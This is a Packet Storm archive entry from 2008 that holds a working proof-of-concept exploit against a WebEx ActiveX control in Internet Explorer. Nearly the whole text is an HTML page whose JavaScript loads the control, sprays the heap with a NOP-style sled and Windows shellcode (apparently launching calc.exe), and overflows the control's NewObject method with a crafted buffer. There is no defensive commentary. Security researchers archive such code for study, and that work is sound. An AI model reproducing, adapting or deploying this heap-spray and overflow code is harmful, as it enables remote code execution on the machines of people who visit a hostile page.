webex-activex.txt

2008-08-13T00:00:00
ID PACKETSTORM:69008
Type packetstorm
Reporter k'sOSe
Modified 2008-08-13T00:00:00

Description

                                        
                                            `<html>  
<body>  
  
<object classid=clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC id=target />  
</object>  
  
<script language=javascript>  
  
// k`sOSe 08/08/2008  
// tested in IE6, XP SP1  
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u535c%u5359%u4554%u334d%u5c32%u4143%u434c%u452e%u4558%u4100");  
  
var block = unescape("%u0909%u0909");  
while (block.length < 0x25000) block += block;  
  
var memory = new Array();  
  
var i=0;  
for (;i<1000;i++) memory[i] += block + shellcode;  
  
memory[i] += shellcode;  
  
var buf2;  
for (var i=0; i<151; i++) buf2 += "X";  
  
buf2 += unescape("%09%09%09%09");  
  
  
  
target.NewObject(buf2);  
  
</script>  
  
</body>  
</html>  
  
`